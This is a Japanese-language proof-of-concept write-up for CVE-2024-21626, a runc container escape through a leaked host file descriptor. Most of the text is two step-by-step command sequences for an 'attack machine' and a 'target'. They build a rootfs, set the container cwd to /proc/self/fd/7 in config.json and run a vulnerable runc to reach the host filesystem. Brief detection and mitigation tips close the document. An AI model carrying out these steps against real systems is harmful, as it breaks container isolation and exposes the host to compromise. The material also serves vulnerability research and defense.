
CVE-2024-21626 の PoC: runc は pivot_root の前にホストの CWD を参照する内部 fd をリークし、process.cwd を /proc/self/fd/7 に設定することでコンテナエスケープを可能にする
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2024-21626 |
| 影響を受けるコンポーネント | runc ≤ 1.1.11 |
| 脆弱性クラス | ファイル記述子リークによるコンテナエスケープ |
| 通称 | Leaky Vessels |
runcは、コンテナプロセスを実行する前に、ホストファイルシステムの作業ディレクトリを指す内部ファイル記述子(通常はfd/7)をリークします。config.jsonでコンテナのcwdを/proc/self/fd/7に設定すると、プロセスはコンテナのrootfsではなくホストディレクトリに配置され、コンテナエスケープが達成されます。
ホストから直接バイナリをコピーして最小限のrootfsを構築します:
# 1. ディレクトリ構造を作成
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. バイナリと必要なライブラリをコピー
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. デフォルトのOCI設定を生成
runc spec
# 4. config.json内のcwdをリークしたホストfdを指すように変更
# 変更前: "cwd": "/"
# 変更後: "cwd": "/proc/self/fd/7"
vi config.json
# 5. 脆弱なruncバイナリでコンテナを実行
sudo /opt/debug --log /tmp/log.json run strikontainer
何が起こるか: runcは、コンテナのrootfsに切り替える前に、ホストのCWDを参照するfd/7をオープンします。cwdを/proc/self/fd/7に設定すると、runcはコンテナのパスではなくホストパスにchdir()するため、実際のファイルシステムに配置されます。
より完全な環境が必要な場合、またはホストにバイナリが限られている場合:
# --- 攻撃マシン上 ---
# 最小限のAlpineファイルシステムをエクスポート
docker export $(docker create alpine:latest) > alpine.tar
# alpine.tarをターゲットに転送し、次を実行:
# --- ターゲット上 ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# OCIバンドル設定を生成
runc spec
# cwdを修正(方法1と同じ)
vi config.json
# "cwd": "/proc/self/fd/7"
# 実行
sudo /opt/debug --log /tmp/log.json run strikontainer
cwd設定内での/proc/self/fd/に対するopenat()を監視; cwdに/proc/self/fdを含むOCIバンドルをアラート/procへのアクセスを制限するseccompプロファイルを使用; より強力な分離のためにrootlessコンテナやgVisor/Kataを検討